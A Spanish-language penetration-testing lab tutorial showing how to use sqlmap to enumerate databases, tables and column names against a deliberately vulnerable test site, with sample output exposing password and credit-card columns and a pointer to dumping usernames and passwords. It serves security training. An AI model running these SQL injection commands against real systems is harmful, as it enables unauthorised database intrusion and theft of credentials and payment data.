Introducción
En este laboratorio, aprenderá a usar sqlmap para enumerar los nombres de las columnas y sus tipos de datos de una tabla específica dentro de una base de datos. sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos. Comprender cómo enumerar columnas es un paso crucial en la explotación de bases de datos, ya que le permite apuntar y extraer información sensible con precisión. Nos centraremos en usar la bandera -T para especificar la tabla objetivo y la bandera --columns para listar sus columnas.
Seleccionar una Base de Datos y Tabla Objetivo para Enumeración
En este paso, identificaremos una base de datos objetivo hipotética y una tabla específica dentro de ella de la cual queremos enumerar las columnas. Para el propósito de este laboratorio, asumiremos que ya hemos identificado una URL vulnerable y una base de datos llamada testdb que contiene una tabla llamada users.
Primero, asegurémonos de que sqlmap esté disponible en su sistema. Si no lo está, puede instalarlo usando apt.
sudo apt update
sudo apt install -y sqlmap
Ahora, simulemos un objetivo vulnerable. Usaremos una URL ficticia para fines de demostración. En un escenario del mundo real, esta sería una URL susceptible a inyección SQL.
Para este laboratorio, usaremos la siguiente URL de marcador de posición: http://testphp.vulnweb.com/listproducts.php?cat=1. Este es un objetivo vulnerable conocido que se usa a menudo para pruebas. Asumiremos que ya hemos identificado una base de datos llamada acuart y una tabla llamada users dentro de ella. Nuestro objetivo es enumerar las columnas de la tabla users.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Debería ver una lista de bases de datos, incluida acuart. Esto confirma que nuestro objetivo es accesible y que sqlmap puede interactuar con él.
...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...
A continuación, confirmemos las tablas en la base de datos acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Debería ver una lista de tablas, incluida users.
...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists |
| carts |
| categories |
| guestbook |
| pictures |
| products |
| users |
| ... |
+------------+
...
Esto confirma que la base de datos acuart y la tabla users existen en nuestro objetivo.
Usar la Bandera -T para Especificar la Tabla
En este paso, aprenderemos a usar la bandera -T en sqlmap para especificar la tabla objetivo de la cual queremos enumerar las columnas. La bandera -T se utiliza junto con la bandera -D (para base de datos) para acotar el alcance de nuestra enumeración.
La sintaxis básica para especificar una tabla es:
sqlmap -u <url_objetivo> -D <nombre_base_datos> -T <nombre_tabla> [otras_opciones]
Continuando desde el paso anterior, hemos identificado la base de datos acuart y la tabla users. Ahora, prepararemos el comando sqlmap para apuntar a esta tabla específica. Aún no ejecutaremos la enumeración completa, sino que construiremos el comando.
Abra su terminal en el directorio ~/project.
echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt
Este comando guarda la parte inicial de nuestro comando sqlmap en un archivo llamado command_part1.txt y luego muestra su contenido. Esto ayuda a construir comandos complejos paso a paso.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users
Al usar -D acuart -T users, le estamos indicando a sqlmap que centre sus operaciones específicamente en la tabla users dentro de la base de datos acuart. Esto es crucial para una enumeración eficiente y dirigida.
Usar la Bandera --columns para Listar Columnas
En este paso, introduciremos la bandera --columns, que se utiliza para indicar a sqlmap que enumere los nombres de las columnas y sus tipos de datos dentro de la tabla especificada. Esta bandera es esencial para comprender la estructura de la tabla e identificar columnas potencialmente interesantes para la extracción de datos.
La bandera --columns se añade al comando que comenzamos a construir en el paso anterior.
La sintaxis completa será:
sqlmap -u <url_objetivo> -D <nombre_base_datos> -T <nombre_tabla> --columns
Añadamos la bandera --columns a nuestro comando.
echo ' --columns' >> command_part1.txt
cat command_part1.txt
Ahora, el archivo command_part1.txt debería contener el comando sqlmap completo para enumerar las columnas de la tabla users.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
La bandera --columns le dice a sqlmap que realice un tipo específico de enumeración: listar todas las columnas disponibles en la tabla objetivo. Esta es una característica poderosa que ayuda a mapear el esquema de la base de datos.
Ejecutar el Comando para Enumerar Columnas
En este paso, ejecutaremos el comando completo de sqlmap que hemos construido en los pasos anteriores. Este comando instruirá a sqlmap a conectarse a la URL objetivo, identificar la base de datos acuart, apuntar a la tabla users y luego enumerar todas las columnas dentro de esa tabla.
Asegúrese de estar en el directorio ~/project.
bash command_part1.txt
Tras la ejecución, sqlmap comenzará su proceso. Podría hacerle algunas preguntas durante el proceso, como si desea usar un payload específico o continuar con las opciones predeterminadas. Para este laboratorio, generalmente puede presionar Enter para aceptar las opciones predeterminadas o y para sí si se le solicita.
...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
...
La salida mostrará una tabla que lista los nombres de las columnas y sus tipos de datos correspondientes encontrados en la tabla users. Este es el objetivo principal de este laboratorio.
Revisar los Nombres de las Columnas y sus Tipos de Datos
En este paso final, revisaremos la salida del comando sqlmap ejecutado en el paso anterior. Comprender los nombres de las columnas enumeradas y sus tipos de datos es crucial para una posterior explotación o análisis.
Observe la salida del comando anterior. Debería ver una tabla similar a esta:
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
A partir de esta salida, podemos identificar varias columnas importantes:
email: Probablemente almacena direcciones de correo electrónico de los usuarios.uname: Probablemente almacena nombres de usuario.pass: Probablemente almacena contraseñas de usuario (o hashes de contraseñas).cc: Potencialmente almacena información de tarjetas de crédito.address: Almacena direcciones de usuarios.name: Almacena nombres completos de usuarios.phone: Almacena números de teléfono de usuarios.
La columna Type indica el tipo de dato de cada columna (por ejemplo, varchar(50) significa una cadena de longitud variable de hasta 50 caracteres). Esta información es vital para crear comandos posteriores de sqlmap, como volcar datos de columnas específicas usando la bandera -C. Por ejemplo, para volcar nombres de usuario y contraseñas, usaría -C uname,pass --dump.
Este paso concluye el proceso de enumeración de columnas de una tabla específica utilizando sqlmap. Ahora tiene una comprensión clara de cómo apuntar a tablas específicas y recuperar sus estructuras de columnas.
Resumen
En este laboratorio, aprendió con éxito cómo enumerar columnas de una tabla específica utilizando sqlmap. Comenzó identificando una base de datos y tabla objetivo, luego construyó progresivamente el comando sqlmap utilizando las banderas -D (database), -T (table) y --columns. Finalmente, ejecutó el comando y revisó la salida, comprendiendo la importancia de los nombres de las columnas enumeradas y sus tipos de datos. Esta habilidad es fundamental para cualquier persona que realice pruebas de penetración de bases de datos o evaluaciones de seguridad, ya que proporciona la información necesaria para extraer datos sensibles de manera efectiva.
